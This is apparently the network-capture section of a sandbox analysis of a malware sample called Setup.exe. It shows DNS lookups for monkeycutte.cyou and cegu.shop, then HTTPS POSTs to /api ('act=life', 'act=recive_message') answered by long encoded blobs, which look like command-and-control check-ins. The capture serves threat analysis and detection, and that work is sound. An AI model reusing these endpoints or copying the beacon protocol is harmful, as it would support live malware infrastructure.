Jan 7, 2025 15:33:22.939982891 CET	49802	443	192.168.2.6	188.114.96.3
Jan 7, 2025 15:33:22.939990044 CET	443	49802	188.114.96.3	192.168.2.6
Jan 7, 2025 15:33:22.940051079 CET	49802	443	192.168.2.6	188.114.96.3
Jan 7, 2025 15:33:22.944011927 CET	443	49802	188.114.96.3	192.168.2.6
Jan 7, 2025 15:33:22.944073915 CET	443	49802	188.114.96.3	192.168.2.6
Jan 7, 2025 15:33:22.944104910 CET	443	49802	188.114.96.3	192.168.2.6
Jan 7, 2025 15:33:22.944128036 CET	443	49802	188.114.96.3	192.168.2.6
Jan 7, 2025 15:33:22.944133997 CET	49802	443	192.168.2.6	188.114.96.3
Jan 7, 2025 15:33:22.944140911 CET	443	49802	188.114.96.3	192.168.2.6
Jan 7, 2025 15:33:22.944166899 CET	49802	443	192.168.2.6	188.114.96.3
Jan 7, 2025 15:33:22.944205999 CET	443	49802	188.114.96.3	192.168.2.6
Jan 7, 2025 15:33:22.944252968 CET	49802	443	192.168.2.6	188.114.96.3
Jan 7, 2025 15:33:22.971950054 CET	49802	443	192.168.2.6	188.114.96.3
Jan 7, 2025 15:33:22.971971989 CET	443	49802	188.114.96.3	192.168.2.6
Jan 7, 2025 15:33:22.971981049 CET	49802	443	192.168.2.6	188.114.96.3
Jan 7, 2025 15:33:22.971987963 CET	443	49802	188.114.96.3	192.168.2.6
Jan 7, 2025 15:33:23.539444923 CET	49813	443	192.168.2.6	188.114.96.3
Jan 7, 2025 15:33:23.539482117 CET	443	49813	188.114.96.3	192.168.2.6
Jan 7, 2025 15:33:23.539563894 CET	49813	443	192.168.2.6	188.114.96.3
Jan 7, 2025 15:33:23.539906979 CET	49813	443	192.168.2.6	188.114.96.3
Jan 7, 2025 15:33:23.539920092 CET	443	49813	188.114.96.3	192.168.2.6
Jan 7, 2025 15:33:23.996054888 CET	443	49813	188.114.96.3	192.168.2.6
Jan 7, 2025 15:33:23.996113062 CET	49813	443	192.168.2.6	188.114.96.3
Jan 7, 2025 15:33:23.997505903 CET	49813	443	192.168.2.6	188.114.96.3
Jan 7, 2025 15:33:23.997512102 CET	443	49813	188.114.96.3	192.168.2.6
Jan 7, 2025 15:33:23.997755051 CET	443	49813	188.114.96.3	192.168.2.6
Jan 7, 2025 15:33:23.999190092 CET	49813	443	192.168.2.6	188.114.96.3
Jan 7, 2025 15:33:23.999325037 CET	49813	443	192.168.2.6	188.114.96.3
Jan 7, 2025 15:33:23.999349117 CET	443	49813	188.114.96.3	192.168.2.6
Jan 7, 2025 15:33:25.060350895 CET	443	49813	188.114.96.3	192.168.2.6
Jan 7, 2025 15:33:25.060447931 CET	443	49813	188.114.96.3	192.168.2.6
Jan 7, 2025 15:33:25.060642004 CET	49813	443	192.168.2.6	188.114.96.3
Jan 7, 2025 15:33:25.060642004 CET	49813	443	192.168.2.6	188.114.96.3
Jan 7, 2025 15:33:25.174307108 CET	49824	443	192.168.2.6	188.114.96.3
Jan 7, 2025 15:33:25.174350023 CET	443	49824	188.114.96.3	192.168.2.6
Jan 7, 2025 15:33:25.174444914 CET	49824	443	192.168.2.6	188.114.96.3
Jan 7, 2025 15:33:25.174761057 CET	49824	443	192.168.2.6	188.114.96.3
Jan 7, 2025 15:33:25.174774885 CET	443	49824	188.114.96.3	192.168.2.6
Jan 7, 2025 15:33:25.365869999 CET	49813	443	192.168.2.6	188.114.96.3
Jan 7, 2025 15:33:25.365900993 CET	443	49813	188.114.96.3	192.168.2.6
Jan 7, 2025 15:33:25.650063038 CET	443	49824	188.114.96.3	192.168.2.6
Jan 7, 2025 15:33:25.650141001 CET	49824	443	192.168.2.6	188.114.96.3
Jan 7, 2025 15:33:25.658817053 CET	49824	443	192.168.2.6	188.114.96.3
Jan 7, 2025 15:33:25.658823013 CET	443	49824	188.114.96.3	192.168.2.6
Jan 7, 2025 15:33:25.659101963 CET	443	49824	188.114.96.3	192.168.2.6
Jan 7, 2025 15:33:25.660969973 CET	49824	443	192.168.2.6	188.114.96.3
Jan 7, 2025 15:33:25.661113024 CET	49824	443	192.168.2.6	188.114.96.3
Jan 7, 2025 15:33:25.661145926 CET	443	49824	188.114.96.3	192.168.2.6
Jan 7, 2025 15:33:25.662472010 CET	49824	443	192.168.2.6	188.114.96.3
Jan 7, 2025 15:33:25.703320980 CET	443	49824	188.114.96.3	192.168.2.6
Jan 7, 2025 15:33:26.141704082 CET	443	49824	188.114.96.3	192.168.2.6
Jan 7, 2025 15:33:26.141805887 CET	443	49824	188.114.96.3	192.168.2.6
Jan 7, 2025 15:33:26.141851902 CET	49824	443	192.168.2.6	188.114.96.3
Jan 7, 2025 15:33:26.142057896 CET	49824	443	192.168.2.6	188.114.96.3
Jan 7, 2025 15:33:26.142069101 CET	443	49824	188.114.96.3	192.168.2.6
Jan 7, 2025 15:33:26.354561090 CET	49830	443	192.168.2.6	188.114.96.3
Jan 7, 2025 15:33:26.354608059 CET	443	49830	188.114.96.3	192.168.2.6
Jan 7, 2025 15:33:26.354686022 CET	49830	443	192.168.2.6	188.114.96.3
Jan 7, 2025 15:33:26.354958057 CET	49830	443	192.168.2.6	188.114.96.3
Jan 7, 2025 15:33:26.354973078 CET	443	49830	188.114.96.3	192.168.2.6
Jan 7, 2025 15:33:26.861901045 CET	443	49830	188.114.96.3	192.168.2.6
Jan 7, 2025 15:33:26.862005949 CET	49830	443	192.168.2.6	188.114.96.3
Jan 7, 2025 15:33:26.863261938 CET	49830	443	192.168.2.6	188.114.96.3
Jan 7, 2025 15:33:26.863270044 CET	443	49830	188.114.96.3	192.168.2.6
Jan 7, 2025 15:33:26.863531113 CET	443	49830	188.114.96.3	192.168.2.6
Jan 7, 2025 15:33:26.864748001 CET	49830	443	192.168.2.6	188.114.96.3
Jan 7, 2025 15:33:26.864892960 CET	49830	443	192.168.2.6	188.114.96.3
Jan 7, 2025 15:33:26.864923954 CET	443	49830	188.114.96.3	192.168.2.6
Jan 7, 2025 15:33:26.864993095 CET	49830	443	192.168.2.6	188.114.96.3
Jan 7, 2025 15:33:26.865000963 CET	443	49830	188.114.96.3	192.168.2.6
Jan 7, 2025 15:33:27.486404896 CET	443	49830	188.114.96.3	192.168.2.6
Jan 7, 2025 15:33:27.486507893 CET	443	49830	188.114.96.3	192.168.2.6
Jan 7, 2025 15:33:27.486567974 CET	49830	443	192.168.2.6	188.114.96.3
Jan 7, 2025 15:33:27.486694098 CET	49830	443	192.168.2.6	188.114.96.3
Jan 7, 2025 15:33:27.486705065 CET	443	49830	188.114.96.3	192.168.2.6
Jan 7, 2025 15:33:27.844221115 CET	49841	443	192.168.2.6	188.114.96.3
Jan 7, 2025 15:33:27.844260931 CET	443	49841	188.114.96.3	192.168.2.6
Jan 7, 2025 15:33:27.844336033 CET	49841	443	192.168.2.6	188.114.96.3
Jan 7, 2025 15:33:27.844660997 CET	49841	443	192.168.2.6	188.114.96.3
Jan 7, 2025 15:33:27.844672918 CET	443	49841	188.114.96.3	192.168.2.6
Jan 7, 2025 15:33:28.304939032 CET	443	49841	188.114.96.3	192.168.2.6
Jan 7, 2025 15:33:28.305032969 CET	49841	443	192.168.2.6	188.114.96.3
Jan 7, 2025 15:33:28.306330919 CET	49841	443	192.168.2.6	188.114.96.3
Jan 7, 2025 15:33:28.306338072 CET	443	49841	188.114.96.3	192.168.2.6
Jan 7, 2025 15:33:28.306571007 CET	443	49841	188.114.96.3	192.168.2.6
Jan 7, 2025 15:33:28.307818890 CET	49841	443	192.168.2.6	188.114.96.3
Jan 7, 2025 15:33:28.307998896 CET	49841	443	192.168.2.6	188.114.96.3
Jan 7, 2025 15:33:28.308005095 CET	443	49841	188.114.96.3	192.168.2.6
Jan 7, 2025 15:33:28.773766994 CET	443	49841	188.114.96.3	192.168.2.6
Jan 7, 2025 15:33:28.773904085 CET	443	49841	188.114.96.3	192.168.2.6
Jan 7, 2025 15:33:28.774008989 CET	49841	443	192.168.2.6	188.114.96.3
Jan 7, 2025 15:33:28.774065018 CET	49841	443	192.168.2.6	188.114.96.3
Jan 7, 2025 15:33:28.774077892 CET	443	49841	188.114.96.3	192.168.2.6
Jan 7, 2025 15:33:28.850255013 CET	49851	443	192.168.2.6	188.114.96.3
Jan 7, 2025 15:33:28.850274086 CET	443	49851	188.114.96.3	192.168.2.6
Jan 7, 2025 15:33:28.850327015 CET	49851	443	192.168.2.6	188.114.96.3
Jan 7, 2025 15:33:28.850574970 CET	49851	443	192.168.2.6	188.114.96.3
Jan 7, 2025 15:33:28.850584030 CET	443	49851	188.114.96.3	192.168.2.6
Jan 7, 2025 15:33:29.329569101 CET	443	49851	188.114.96.3	192.168.2.6
Jan 7, 2025 15:33:29.329727888 CET	49851	443	192.168.2.6	188.114.96.3
Jan 7, 2025 15:33:29.331007957 CET	49851	443	192.168.2.6	188.114.96.3
Jan 7, 2025 15:33:29.331017971 CET	443	49851	188.114.96.3	192.168.2.6
Jan 7, 2025 15:33:29.331214905 CET	443	49851	188.114.96.3	192.168.2.6
Jan 7, 2025 15:33:29.332530975 CET	49851	443	192.168.2.6	188.114.96.3
Jan 7, 2025 15:33:29.332617998 CET	49851	443	192.168.2.6	188.114.96.3
Jan 7, 2025 15:33:29.332623959 CET	443	49851	188.114.96.3	192.168.2.6
Jan 7, 2025 15:33:29.799927950 CET	443	49851	188.114.96.3	192.168.2.6
Jan 7, 2025 15:33:29.800009012 CET	443	49851	188.114.96.3	192.168.2.6
Jan 7, 2025 15:33:29.800116062 CET	49851	443	192.168.2.6	188.114.96.3
Jan 7, 2025 15:33:29.800188065 CET	49851	443	192.168.2.6	188.114.96.3
Jan 7, 2025 15:33:29.800204992 CET	443	49851	188.114.96.3	192.168.2.6
Jan 7, 2025 15:33:29.809658051 CET	49859	443	192.168.2.6	188.114.96.3
Jan 7, 2025 15:33:29.809695005 CET	443	49859	188.114.96.3	192.168.2.6
Jan 7, 2025 15:33:29.809781075 CET	49859	443	192.168.2.6	188.114.96.3
Jan 7, 2025 15:33:29.810076952 CET	49859	443	192.168.2.6	188.114.96.3
Jan 7, 2025 15:33:29.810087919 CET	443	49859	188.114.96.3	192.168.2.6
Jan 7, 2025 15:33:30.283833027 CET	443	49859	188.114.96.3	192.168.2.6
Jan 7, 2025 15:33:30.283911943 CET	49859	443	192.168.2.6	188.114.96.3
Jan 7, 2025 15:33:30.285253048 CET	49859	443	192.168.2.6	188.114.96.3
Jan 7, 2025 15:33:30.285259962 CET	443	49859	188.114.96.3	192.168.2.6
Jan 7, 2025 15:33:30.285480022 CET	443	49859	188.114.96.3	192.168.2.6
Jan 7, 2025 15:33:30.286659956 CET	49859	443	192.168.2.6	188.114.96.3
Jan 7, 2025 15:33:30.286679029 CET	49859	443	192.168.2.6	188.114.96.3
Jan 7, 2025 15:33:30.286720991 CET	443	49859	188.114.96.3	192.168.2.6
Jan 7, 2025 15:33:30.771220922 CET	443	49859	188.114.96.3	192.168.2.6
Jan 7, 2025 15:33:30.771328926 CET	443	49859	188.114.96.3	192.168.2.6
Jan 7, 2025 15:33:30.771418095 CET	49859	443	192.168.2.6	188.114.96.3
Jan 7, 2025 15:33:30.771523952 CET	49859	443	192.168.2.6	188.114.96.3
Jan 7, 2025 15:33:30.771537066 CET	443	49859	188.114.96.3	192.168.2.6
Jan 7, 2025 15:33:30.771600008 CET	49859	443	192.168.2.6	188.114.96.3
Jan 7, 2025 15:33:30.771604061 CET	443	49859	188.114.96.3	192.168.2.6
Jan 7, 2025 15:33:30.884856939 CET	49865	443	192.168.2.6	185.161.251.21
Jan 7, 2025 15:33:30.884891033 CET	443	49865	185.161.251.21	192.168.2.6
Jan 7, 2025 15:33:30.884994984 CET	49865	443	192.168.2.6	185.161.251.21
Jan 7, 2025 15:33:30.885358095 CET	49865	443	192.168.2.6	185.161.251.21
Jan 7, 2025 15:33:30.885370016 CET	443	49865	185.161.251.21	192.168.2.6
Jan 7, 2025 15:33:31.545428038 CET	443	49865	185.161.251.21	192.168.2.6
Jan 7, 2025 15:33:31.545509100 CET	49865	443	192.168.2.6	185.161.251.21
Jan 7, 2025 15:33:31.547091961 CET	49865	443	192.168.2.6	185.161.251.21
Jan 7, 2025 15:33:31.547097921 CET	443	49865	185.161.251.21	192.168.2.6
Jan 7, 2025 15:33:31.547302008 CET	443	49865	185.161.251.21	192.168.2.6
Jan 7, 2025 15:33:31.548499107 CET	49865	443	192.168.2.6	185.161.251.21
Jan 7, 2025 15:33:31.595330000 CET	443	49865	185.161.251.21	192.168.2.6
Jan 7, 2025 15:33:31.813369989 CET	443	49865	185.161.251.21	192.168.2.6
Jan 7, 2025 15:33:31.813426018 CET	443	49865	185.161.251.21	192.168.2.6
Jan 7, 2025 15:33:31.813623905 CET	49865	443	192.168.2.6	185.161.251.21
Jan 7, 2025 15:33:31.813657999 CET	49865	443	192.168.2.6	185.161.251.21
Jan 7, 2025 15:33:31.813674927 CET	443	49865	185.161.251.21	192.168.2.6
Jan 7, 2025 15:33:31.813687086 CET	49865	443	192.168.2.6	185.161.251.21
Jan 7, 2025 15:33:31.813694000 CET	443	49865	185.161.251.21	192.168.2.6

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 7, 2025 15:33:20.737042904 CET	61480	53	192.168.2.6	1.1.1.1
Jan 7, 2025 15:33:20.749195099 CET	53	61480	1.1.1.1	192.168.2.6
Jan 7, 2025 15:33:30.774308920 CET	60676	53	192.168.2.6	1.1.1.1
Jan 7, 2025 15:33:30.883927107 CET	53	60676	1.1.1.1	192.168.2.6

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 7, 2025 15:33:20.737042904 CET	192.168.2.6	1.1.1.1	0xfe7	Standard query (0)	monkeycutte.cyou	A (IP address)	IN (0x0001)	false
Jan 7, 2025 15:33:30.774308920 CET	192.168.2.6	1.1.1.1	0x6a02	Standard query (0)	cegu.shop	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Jan 7, 2025 15:33:20.749195099 CET	1.1.1.1	192.168.2.6	0xfe7	No error (0)	monkeycutte.cyou	188.114.96.3	A (IP address)	IN (0x0001)	false
Jan 7, 2025 15:33:20.749195099 CET	1.1.1.1	192.168.2.6	0xfe7	No error (0)	monkeycutte.cyou	188.114.97.3	A (IP address)	IN (0x0001)	false
Jan 7, 2025 15:33:30.883927107 CET	1.1.1.1	192.168.2.6	0x6a02	No error (0)	cegu.shop	185.161.251.21	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

monkeycutte.cyou

cegu.shop

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49796	188.114.96.3	443	4440	C:\Users\user\Desktop\Setup.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-07 14:33:21 UTC	263	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: monkeycutte.cyou
2025-01-07 14:33:21 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2025-01-07 14:33:21 UTC	1127	IN	HTTP/1.1 200 OK Date: Tue, 07 Jan 2025 14:33:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=9sfh0r43q1ismikjfsuqg1rjdi; expires=Sat, 03 May 2025 08:20:00 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=2UI%2Bzz732HvU2WByAZh9F%2BUtAKo6a%2FJ9xke4gu4MlRspAXtkx6QmprjZVyqkDUj5%2B4xA1Q3O5USKsS34zkHfFCeWdtVza0EpCVCOwJQaInFKXY%2F%2BYI16Z0HDqahNnldzADlx"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fe4a9944f320f87-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1682&min_rtt=1679&rtt_var=637&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2839&recv_bytes=907&delivery_rate=1707602&cwnd=229&unsent_bytes=0&cid=952aad1c9c22b953&ts=769&x=0"
2025-01-07 14:33:21 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2025-01-07 14:33:21 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49802	188.114.96.3	443	4440	C:\Users\user\Desktop\Setup.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-07 14:33:22 UTC	264	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 77 Host: monkeycutte.cyou
2025-01-07 14:33:22 UTC	77	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 68 52 6a 7a 47 33 2d 2d 47 41 53 26 6a 3d 65 66 64 65 62 64 65 30 35 37 61 31 64 66 33 66 37 63 31 35 62 37 66 34 64 61 39 30 37 63 32 64 Data Ascii: act=recive_message&ver=4.0&lid=hRjzG3--GAS&j=efdebde057a1df3f7c15b7f4da907c2d
2025-01-07 14:33:22 UTC	1127	IN	HTTP/1.1 200 OK Date: Tue, 07 Jan 2025 14:33:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=19r3su9kis8dp485006semjh20; expires=Sat, 03 May 2025 08:20:01 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ef18kuV5TxS3xuhcJaM%2BnferoO47w%2FA9T8qJdGNC7gnFHMxF58H2%2B4r1h4PanbPRDgeBf2w2ke97wovegTrgt%2FCG5sks22I4IuMv%2B4LC52%2BzVQlncZQNidCDiTT1jsvN6x2X"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fe4a99be8b65e76-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1643&min_rtt=1627&rtt_var=643&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2839&recv_bytes=977&delivery_rate=1660978&cwnd=209&unsent_bytes=0&cid=e4425590ef5cdf99&ts=502&x=0"
2025-01-07 14:33:22 UTC	242	IN	Data Raw: 34 36 65 0d 0a 4c 33 6c 6c 68 53 68 6b 35 4d 51 61 2b 7a 56 4a 66 54 64 51 46 34 4d 52 71 71 50 71 74 70 48 47 4d 74 49 4b 45 42 6a 6e 4d 54 4e 55 57 78 4f 6e 45 6c 44 49 35 6d 6d 65 46 33 4d 62 56 6a 78 6b 35 6a 32 49 77 6f 36 55 71 36 42 54 76 6e 6c 31 4e 4d 56 48 58 67 31 44 41 2b 52 45 46 34 48 6f 4f 4a 35 4e 61 30 64 73 4b 7a 58 6d 66 34 69 5a 79 4e 50 37 70 46 4f 2b 61 48 46 7a 69 45 46 66 54 42 45 4a 34 6b 41 42 68 36 42 37 6c 31 67 73 47 46 49 78 66 65 31 34 78 38 75 48 6c 4c 33 6b 56 36 67 6f 4b 6a 71 71 56 45 64 4f 4e 41 54 32 51 30 61 5a 36 47 48 5a 55 43 64 66 44 58 4a 32 35 6e 50 47 78 59 37 64 2b 61 35 61 74 6d 6c 30 63 70 64 59 56 55 63 52 42 2b 46 42 43 34 36 30 64 70 31 66 4a 78 35 59 4d 54 57 76 4d Data Ascii: 46eL3llhShk5MQa+zVJfTdQF4MRqqPqtpHGMtIKEBjnMTNUWxOnElDI5mmeF3MbVjxk5j2Iwo6Uq6BTvnl1NMVHXg1DA+REF4HoOJ5Na0dsKzXmf4iZyNP7pFO+aHFziEFfTBEJ4kABh6B7l1gsGFIxfe14x8uHlL3kV6goKjqqVEdONAT2Q0aZ6GHZUCdfDXJ25nPGxY7d+a5atml0cpdYVUcRB+FBC460dp1fJx5YMTWvM
2025-01-07 14:33:22 UTC	899	IN	Data Raw: 38 2f 5a 79 49 79 7a 39 32 4b 7a 65 57 4e 76 69 45 4e 58 44 51 52 4a 2f 67 6f 42 69 75 59 67 32 56 38 6e 45 56 41 78 65 75 5a 79 79 4e 4f 48 31 50 43 73 57 4c 52 69 66 58 57 4b 58 56 74 4b 45 77 37 67 52 51 47 4f 6f 48 65 61 46 32 56 66 55 69 6f 31 75 54 50 6f 30 59 76 58 35 36 6c 42 38 48 63 38 59 38 56 55 58 51 31 44 52 2b 46 45 42 34 75 6d 61 70 46 63 49 42 70 48 4f 58 7a 73 66 73 6a 4d 67 74 76 77 70 46 65 36 59 6e 31 77 67 56 35 63 53 78 73 48 70 77 52 47 67 62 34 34 77 52 63 49 47 6b 55 31 65 66 63 78 38 6f 47 58 6d 75 72 6b 56 37 77 6f 4b 6a 71 4e 56 6c 4a 4f 45 41 6a 6b 51 67 32 55 70 6d 71 66 57 69 34 4e 55 7a 64 37 36 33 44 61 79 34 62 53 38 4b 31 62 75 57 31 31 66 73 55 64 45 55 6f 44 52 37 38 4b 4a 34 75 74 64 4a 4e 41 4b 31 39 4b 66 47 79 68 Data Ascii: 8/ZyIyz92KzeWNviENXDQRJ/goBiuYg2V8nEVAxeuZyyNOH1PCsWLRifXWKXVtKEw7gRQGOoHeaF2VfUio1uTPo0YvX56lB8Hc8Y8VUXQ1DR+FEB4umapFcIBpHOXzsfsjMgtvwpFe6Yn1wgV5cSxsHpwRGgb44wRcIGkU1efcx8oGXmurkV7woKjqNVlJOEAjkQg2UpmqfWi4NUzd763Day4bS8K1buW11fsUdEUoDR78KJ4utdJNAK19KfGyh
2025-01-07 14:33:22 UTC	1369	IN	Data Raw: 33 36 31 61 0d 0a 62 47 6e 70 54 73 36 6b 6e 77 62 33 34 36 33 52 4e 65 51 68 51 50 35 30 73 43 69 36 4a 35 6c 46 73 69 48 46 6b 2b 66 65 78 2f 7a 4d 36 41 33 50 43 73 51 72 35 6d 64 48 79 46 56 68 45 44 57 77 44 2f 43 6c 37 47 67 6e 61 4f 51 79 42 64 59 44 46 37 37 33 54 65 67 5a 65 61 36 75 52 58 76 43 67 71 4f 6f 74 65 57 6b 45 63 44 75 5a 4a 42 6f 79 6f 64 35 4e 66 49 78 39 59 4d 33 37 70 64 63 58 4b 68 39 76 30 72 46 4f 38 62 58 39 35 78 52 30 52 53 67 4e 48 76 77 6f 6a 69 4b 56 70 69 42 55 65 48 46 73 38 63 76 63 7a 31 34 2b 52 6c 50 53 6f 45 4f 67 6f 65 48 32 43 56 31 78 48 47 41 50 6a 52 77 6d 50 72 33 47 4c 58 53 63 52 52 7a 39 2f 35 48 33 45 78 49 66 55 38 71 56 65 75 6d 4d 79 4e 4d 56 55 53 51 31 44 52 38 68 48 46 70 53 73 63 34 67 56 48 68 78 Data Ascii: 361abGnpTs6knwb3463RNeQhQP50sCi6J5lFsiHFk+fex/zM6A3PCsQr5mdHyFVhEDWwD/Cl7GgnaOQyBdYDF773TegZea6uRXvCgqOoteWkEcDuZJBoyod5NfIx9YM37pdcXKh9v0rFO8bX95xR0RSgNHvwojiKVpiBUeHFs8cvcz14+RlPSoEOgoeH2CV1xHGAPjRwmPr3GLXScRRz9/5H3ExIfU8qVeumMyNMVUSQ1DR8hHFpSsc4gVHhx
2025-01-07 14:33:22 UTC	1369	IN	Data Raw: 54 50 6e 77 70 37 65 73 37 73 65 71 53 68 31 64 73 55 4c 45 55 63 58 41 2b 52 47 44 34 71 72 65 5a 31 51 4a 68 74 56 4e 48 50 6b 63 73 50 4a 68 4e 76 35 71 46 53 38 59 58 52 32 68 6c 42 58 44 56 56 48 34 46 4a 47 33 75 5a 5a 6c 46 77 6e 48 31 59 6a 63 71 45 39 69 4d 2b 4f 31 4c 50 38 52 71 42 2f 64 57 58 4c 53 68 46 4b 46 30 65 2f 43 67 79 55 6f 33 61 64 58 53 34 62 57 54 68 31 35 47 48 41 78 34 2f 59 2b 36 46 66 74 6d 31 2f 66 59 35 51 51 31 38 59 41 2b 6c 47 52 73 6a 6d 66 34 45 58 63 31 39 77 4a 58 62 78 64 63 75 42 6c 35 72 71 35 46 65 38 4b 43 6f 36 68 56 31 64 52 68 77 4d 37 45 34 43 68 71 74 7a 6c 31 6b 69 45 31 30 2b 63 76 4e 2b 7a 63 6d 43 33 66 61 6f 58 62 4e 36 63 58 76 46 48 52 46 4b 41 30 65 2f 43 69 47 31 6b 56 76 5a 53 47 55 47 46 54 56 35 Data Ascii: TPnwp7es7seqSh1dsULEUcXA+RGD4qreZ1QJhtVNHPkcsPJhNv5qFS8YXR2hlBXDVVH4FJG3uZZlFwnH1YjcqE9iM+O1LP8RqB/dWXLShFKF0e/CgyUo3adXS4bWTh15GHAx4/Y+6Fftm1/fY5QQ18YA+lGRsjmf4EXc19wJXbxdcuBl5rq5Fe8KCo6hV1dRhwM7E4Chqtzl1kiE10+cvN+zcmC3faoXbN6cXvFHRFKA0e/CiG1kVvZSGUGFTV5
2025-01-07 14:33:22 UTC	1369	IN	Data Raw: 32 4c 32 2f 6a 6b 54 2f 35 78 4d 6e 32 4a 45 77 6b 4e 48 41 2f 76 52 41 57 41 72 58 53 56 56 69 49 5a 55 44 70 79 37 6e 54 42 78 6f 6a 53 34 61 4e 64 75 57 68 35 63 34 39 58 55 45 5a 62 53 61 64 4e 48 73 62 2b 4f 4b 74 51 50 51 39 57 63 6d 71 76 61 6f 6a 47 68 4a 53 72 35 46 32 69 61 58 64 6f 67 56 78 61 58 78 41 42 35 30 38 55 67 61 70 79 6c 6c 51 6a 45 6c 59 36 5a 2b 46 2b 79 4e 4f 61 30 76 69 71 45 50 34 6f 64 57 4c 46 43 78 46 38 44 41 79 6e 56 55 69 66 35 6e 2b 56 46 33 4e 66 56 6a 68 34 37 32 48 4d 78 34 50 58 2f 61 78 56 75 47 78 34 64 34 70 59 57 30 51 54 42 2b 68 50 44 6f 32 67 64 70 68 52 4a 78 49 56 66 44 58 6d 61 34 69 5a 79 50 50 70 71 56 61 6e 65 55 64 39 68 51 49 52 55 6c 55 65 70 30 30 4b 78 76 34 34 6c 46 73 68 45 6c 41 32 66 65 5a 77 79 Data Ascii: 2L2/jkT/5xMn2JEwkNHA/vRAWArXSVViIZUDpy7nTBxojS4aNduWh5c49XUEZbSadNHsb+OKtQPQ9WcmqvaojGhJSr5F2iaXdogVxaXxAB508UgapyllQjElY6Z+F+yNOa0viqEP4odWLFCxF8DAynVUif5n+VF3NfVjh472HMx4PX/axVuGx4d4pYW0QTB+hPDo2gdphRJxIVfDXma4iZyPPpqVaneUd9hQIRUlUep00Kxv44lFshElA2feZwy
2025-01-07 14:33:22 UTC	1369	IN	Data Raw: 30 71 42 44 6f 4b 48 78 33 67 31 4a 51 52 52 4d 48 34 55 41 43 68 61 39 37 6e 6c 34 74 46 46 59 34 65 75 5a 31 7a 4d 47 44 30 2f 32 69 56 62 74 68 4d 6a 54 46 56 45 6b 4e 51 30 66 42 61 52 53 55 6c 48 61 61 54 47 73 41 47 79 73 31 35 6e 2b 49 6d 63 6a 66 2b 36 74 43 74 57 46 36 66 6f 78 54 56 55 63 57 41 4f 64 50 43 34 4f 69 64 70 31 51 4b 78 4e 61 4e 58 33 75 64 38 6a 4f 79 4a 71 7a 6f 30 6a 77 4d 44 4a 61 6a 6b 56 77 51 78 41 56 70 31 56 49 6e 2b 5a 2f 6c 52 64 7a 58 31 73 37 64 4f 6c 39 78 4d 6d 4d 78 76 4f 76 57 62 39 70 66 58 71 47 55 6c 74 46 43 51 48 6e 51 51 36 42 72 6e 79 58 52 53 6f 51 46 58 77 31 35 6d 75 49 6d 63 6a 6c 35 61 4e 58 76 79 70 62 66 5a 35 53 57 30 34 51 43 36 64 56 53 4a 2f 6d 66 35 55 58 63 31 39 59 50 6e 6a 6c 59 63 54 42 69 4e Data Ascii: 0qBDoKHx3g1JQRRMH4UACha97nl4tFFY4euZ1zMGD0/2iVbthMjTFVEkNQ0fBaRSUlHaaTGsAGys15n+Imcjf+6tCtWF6foxTVUcWAOdPC4Oidp1QKxNaNX3ud8jOyJqzo0jwMDJajkVwQxAVp1VIn+Z/lRdzX1s7dOl9xMmMxvOvWb9pfXqGUltFCQHnQQ6BrnyXRSoQFXw15muImcjl5aNXvypbfZ5SW04QC6dVSJ/mf5UXc19YPnjlYcTBiN
